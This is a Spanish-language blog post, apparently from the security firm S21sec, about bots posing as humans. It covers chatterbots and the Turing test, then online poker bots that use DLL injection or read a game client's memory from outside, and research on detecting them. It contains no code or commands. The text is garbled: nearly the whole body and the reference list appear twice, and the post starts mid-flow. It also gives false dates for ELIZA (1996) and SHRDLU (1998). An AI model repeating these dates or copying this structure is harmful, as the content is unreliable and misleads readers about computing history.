La meta de un CHATTERBOT es "más humanos que los humanos" y en torno a este propósito trata el TEST DE TURING[4]: Una prueba propuesta en 1950 por el matemático ALAN TURING[5] cuya finalidad es demostrar la presencia de inteligencia en una máquina. El premio de carácter anual LOEBNER PRIZE[6] se concede al programa informático capaz de superar este TEST DE TURING de la manera más satisfactoria.
Y ahora en un plano al más puro estilo PHILIP K. DICK[7]…
El comportamiento humano simulado de un BOT en ocasiones está dirigido a hacerle pasar por una persona en un entorno en el que los BOTS no están permitidos, de manera que el autor puede automatizar una serie de tareas, llevándolas acabo de manera desatendía y ganando así una ventaja que habitualmente se traduce en un beneficio económico.
En los juegos ONLINE, por ejemplo, el proceso de recolección de objetos y moneda virtual puede ser fácilmente automatizado mediante la utilización de un BOT. Esto proporcionaría al usuario del BOT una ventaja frente a otros jugadores "humanos". Se trata de una práctica creciente que acompaña al también creciente éxito de este tipo de juegos.
Restringir el acceso al juego ONLINE tan solo a usuarios humanos constituye un reto, especialmente ahora que millones de jugadores se encuentran en mundos virtuales en los que las barreras entre la economía virtual y la real resultan a veces ¿borrosas?
HOW I BUILT A WORKING POKER BOT[8] es un artículo en el que se describe como crear un BOT capaz de jugar al POKER ONLINE. El autor describe las técnicas de programación que empleó para manipular el SOFTWARE cliente del juego, capturar la información necesaria para decidir las jugadas y toda una serie de detalles que nos muestran hasta donde se puede llegar en este tema.
Cualquiera se lanza a apostar en un sitio de POKER ONLINE después de ver la que tiene montada este tío ¿no? Bien, no es enteramente así: El SOFTWARE cliente empleado en los juegos ONLINE mas avanzados incorpora una serie de protecciones destinadas a impedir este tipo de ataques, o en su defecto a dificultarlos.
En primer lugar observamos que el BOT de POKER propuesto utiliza una técnica bien conocida por todos, DLL INJECTION, para inyectar su código en el proceso del SOFTWARE cliente, esto es, en el programita que los jugadores de POKER ONLINE descargan y utilizan para jugar. Frente a este ataque algunos juegos incorporan en su SOFTWARE cliente diversas protecciones: Enumeración de los módulos cargados en el espacio de direcciones del proceso, volcados o sumas de control de zonas de memoria, detección de la presencia de HOOKS a través del análisis del código o del STACK, etc.
El autor del artículo hace énfasis en su idea de que es posible programar un BOT de estas características empleando técnicas de programación al alcance de cualquier programador que se precie de serlo. Bueno, bien… Vemos que actualmente esto no es así: Evidentemente depende del esfuerzo que los desarrolladores hayan puesto en proteger su juego ONLINE. Por falta de una tecnología capaz de encarar estos ataques, desde luego, no es.
Ahora situémonos en el mejor de los casos por un momento: El SOFTWARE cliente no puede ser manipulado de manera alguna. Los desarrolladores han protegido el espacio de direcciones del proceso de manera que cualquier modificación que realicemos sobre el código de juego o cualquier módulo que inyectemos en el será detectada y notificada.
Pues bien, aun en esa situación sería posible crear lo que se algunos llaman OUT-OF-PROCESS BOT: El BOT es capaz de trabajar sin realizar ningún tipo de modificación sobre el espacio de direcciones del SOFTWARE cliente. Por consiguiente no se puede inyectar código alguno en el proceso del cliente, ni realizar ninguna escritura en ninguna dirección perteneciente a el, lo que significa que no se pueden emplear HOOKS, entre otras cosas.
En un BOT OUT-OF-PROCESS la información de entrada necesaria para tomar las decisiones se captura de diversas fuentes, como pueden ser la interpretación gráfica del mapa mostrado en la pantalla del juego, los ficheros de LOGS producidos durante la partida o mediante la lectura de ciertas direcciones de memoria del SOFTWARE cliente. Frente a este tipo de BOT las técnicas de detección mencionadas anteriormente no funcionan, pues no hay suma de control capaz de detectar una modificación de no se ha realizado, ni enumeración que encuentre a un módulo que nunca fue cargado.
En el artículo KEEPING BOTS OUT OF ONLINE GAMES[9] los investigadores PHILIPPE GOLLE y NICOLAS DUCHENEAUT proponen una serie de técnicas destinadas a detectar los BOTS que han superado todos los sistemas de detección mencionados anteriormente, y que se encuentran participando activamente en el juego. Las técnicas propuestas por GOLLE y DUCHENEAUT resultan creativas, efectivas en coste y no intrusivas para el jugador… Pero igual de creativos, o más, se muestran a veces los autores de BOTS, especialmente cuando hay dinero real de por medio.
En el futuro, ¿tendremos que someternos regularmente a un TEST VOIGHT-KAMPFF[10] a la hora de acceder a ciertos servicios ONLINE?
Los motivos por los que un BOT imita el comportamiento humano pueden ser diversos. Habitualmente se emplean BOTS en los servicios de CHAT[1], por ejemplo, para regular el correcto uso del servicio. Los usuarios del CHAT ven al BOT como un usuario más, que se comporta como una persona, interactuando con los usuarios verbalmente y facilitando así su utilización.
Tenemos un tipo de BOTS, conocidos como CHATTERBOTS, cuya finalidad es mantener una conversación con una persona de la manera mas "humana" posible. Los ejemplos mas tempranos de este tipo de BOTS vendrían con ELIZA (1996)[2] o SHRDLU (1998)[3].
La meta de un CHATTERBOT es "más humanos que los humanos" y en torno a este propósito trata el TEST DE TURING[4]: Una prueba propuesta en 1950 por el matemático ALAN TURING[5] cuya finalidad es demostrar la presencia de inteligencia en una máquina. El premio de carácter anual LOEBNER PRIZE[6] se concede al programa informático capaz de superar este TEST DE TURING de la manera más satisfactoria.
Y ahora en un plano al más puro estilo PHILIP K. DICK[7]…
El comportamiento humano simulado de un BOT en ocasiones está dirigido a hacerle pasar por una persona en un entorno en el que los BOTS no están permitidos, de manera que el autor puede automatizar una serie de tareas, llevándolas acabo de manera desatendía y ganando así una ventaja que habitualmente se traduce en un beneficio económico.
En los juegos ONLINE, por ejemplo, el proceso de recolección de objetos y moneda virtual puede ser fácilmente automatizado mediante la utilización de un BOT. Esto proporcionaría al usuario del BOT una ventaja frente a otros jugadores "humanos". Se trata de una práctica creciente que acompaña al también creciente éxito de este tipo de juegos.
Restringir el acceso al juego ONLINE tan solo a usuarios humanos constituye un reto, especialmente ahora que millones de jugadores se encuentran en mundos virtuales en los que las barreras entre la economía virtual y la real resultan a veces ¿borrosas?
HOW I BUILT A WORKING POKER BOT[8] es un artículo en el que se describe como crear un BOT capaz de jugar al POKER ONLINE. El autor describe las técnicas de programación que empleó para manipular el SOFTWARE cliente del juego, capturar la información necesaria para decidir las jugadas y toda una serie de detalles que nos muestran hasta donde se puede llegar en este tema.
Cualquiera se lanza a apostar en un sitio de POKER ONLINE después de ver la que tiene montada este tío ¿no? Bien, no es enteramente así: El SOFTWARE cliente empleado en los juegos ONLINE mas avanzados incorpora una serie de protecciones destinadas a impedir este tipo de ataques, o en su defecto a dificultarlos.
En primer lugar observamos que el BOT de POKER propuesto utiliza una técnica bien conocida por todos, DLL INJECTION, para inyectar su código en el proceso del SOFTWARE cliente, esto es, en el programita que los jugadores de POKER ONLINE descargan y utilizan para jugar. Frente a este ataque algunos juegos incorporan en su SOFTWARE cliente diversas protecciones: Enumeración de los módulos cargados en el espacio de direcciones del proceso, volcados o sumas de control de zonas de memoria, detección de la presencia de HOOKS a través del análisis del código o del STACK, etc.
El autor del artículo hace énfasis en su idea de que es posible programar un BOT de estas características empleando técnicas de programación al alcance de cualquier programador que se precie de serlo. Bueno, bien… Vemos que actualmente esto no es así: Evidentemente depende del esfuerzo que los desarrolladores hayan puesto en proteger su juego ONLINE. Por falta de una tecnología capaz de encarar estos ataques, desde luego, no es.
Ahora situémonos en el mejor de los casos por un momento: El SOFTWARE cliente no puede ser manipulado de manera alguna. Los desarrolladores han protegido el espacio de direcciones del proceso de manera que cualquier modificación que realicemos sobre el código de juego o cualquier módulo que inyectemos en el será detectada y notificada.
Pues bien, aun en esa situación sería posible crear lo que se algunos llaman OUT-OF-PROCESS BOT: El BOT es capaz de trabajar sin realizar ningún tipo de modificación sobre el espacio de direcciones del SOFTWARE cliente. Por consiguiente no se puede inyectar código alguno en el proceso del cliente, ni realizar ninguna escritura en ninguna dirección perteneciente a el, lo que significa que no se pueden emplear HOOKS, entre otras cosas.
En un BOT OUT-OF-PROCESS la información de entrada necesaria para tomar las decisiones se captura de diversas fuentes, como pueden ser la interpretación gráfica del mapa mostrado en la pantalla del juego, los ficheros de LOGS producidos durante la partida o mediante la lectura de ciertas direcciones de memoria del SOFTWARE cliente. Frente a este tipo de BOT las técnicas de detección mencionadas anteriormente no funcionan, pues no hay suma de control capaz de detectar una modificación de no se ha realizado, ni enumeración que encuentre a un módulo que nunca fue cargado.
En el artículo KEEPING BOTS OUT OF ONLINE GAMES[9] los investigadores PHILIPPE GOLLE y NICOLAS DUCHENEAUT proponen una serie de técnicas destinadas a detectar los BOTS que han superado todos los sistemas de detección mencionados anteriormente, y que se encuentran participando activamente en el juego. Las técnicas propuestas por GOLLE y DUCHENEAUT resultan creativas, efectivas en coste y no intrusivas para el jugador… Pero igual de creativos, o más, se muestran a veces los autores de BOTS, especialmente cuando hay dinero real de por medio.
En el futuro, ¿tendremos que someternos regularmente a un TEST VOIGHT-KAMPFF[10] a la hora de acceder a ciertos servicios ONLINE?
Oscar Gallego Sendín
S21sec e-crime
Referencias:
[1] BOTS en los servicios de CHAT
http://en.wikipedia.org/wiki/IRC_bot
[2] ELIZA
http://es.wikipedia.org/wiki/Eliza
[3] SHRDLU
http://es.wikipedia.org/wiki/SHRDLU
[4] TEST DE TURING
http://es.wikipedia.org/wiki/Test_de_Turing
[5] ALAN TURING
http://es.wikipedia.org/wiki/Alan_Mathison_Turing
[6] LOEBNER PRIZE
http://www.loebner.net/Prizef/loebner-prize.html
[7] PHILIP K. DICK
http://es.wikipedia.org/wiki/Philip_K._Dick
[8] HOW I BUILT A WORKING POKER BOT
http://www.codingthewheel.com/archives/how-i-built-a-working-poker-bot
http://www.codingthewheel.com/archives/how-i-built-a-working-online-poker-bot-2
http://en.wikipedia.org/wiki/IRC_bot
[2] ELIZA
http://es.wikipedia.org/wiki/Eliza
[3] SHRDLU
http://es.wikipedia.org/wiki/SHRDLU
[4] TEST DE TURING
http://es.wikipedia.org/wiki/Test_de_Turing
[5] ALAN TURING
http://es.wikipedia.org/wiki/Alan_Mathison_Turing
[6] LOEBNER PRIZE
http://www.loebner.net/Prizef/loebner-prize.html
[7] PHILIP K. DICK
http://es.wikipedia.org/wiki/Philip_K._Dick
[8] HOW I BUILT A WORKING POKER BOT
http://www.codingthewheel.com/archives/how-i-built-a-working-poker-bot
http://www.codingthewheel.com/archives/how-i-built-a-working-online-poker-bot-2
[9] PHILIPPE GOLLE Y NICOLAS DUCHENEAUT: KEEPING BOTS OUT OF ONLINE GAMES
http://portal.acm.org/citation.cfm?id=1178522
[10] TEST VOIGHT-KAMPFF
http://es.wikipedia.org/wiki/Prueba_Voight-Kampff
Suscribirse a:
Entradas (Atom)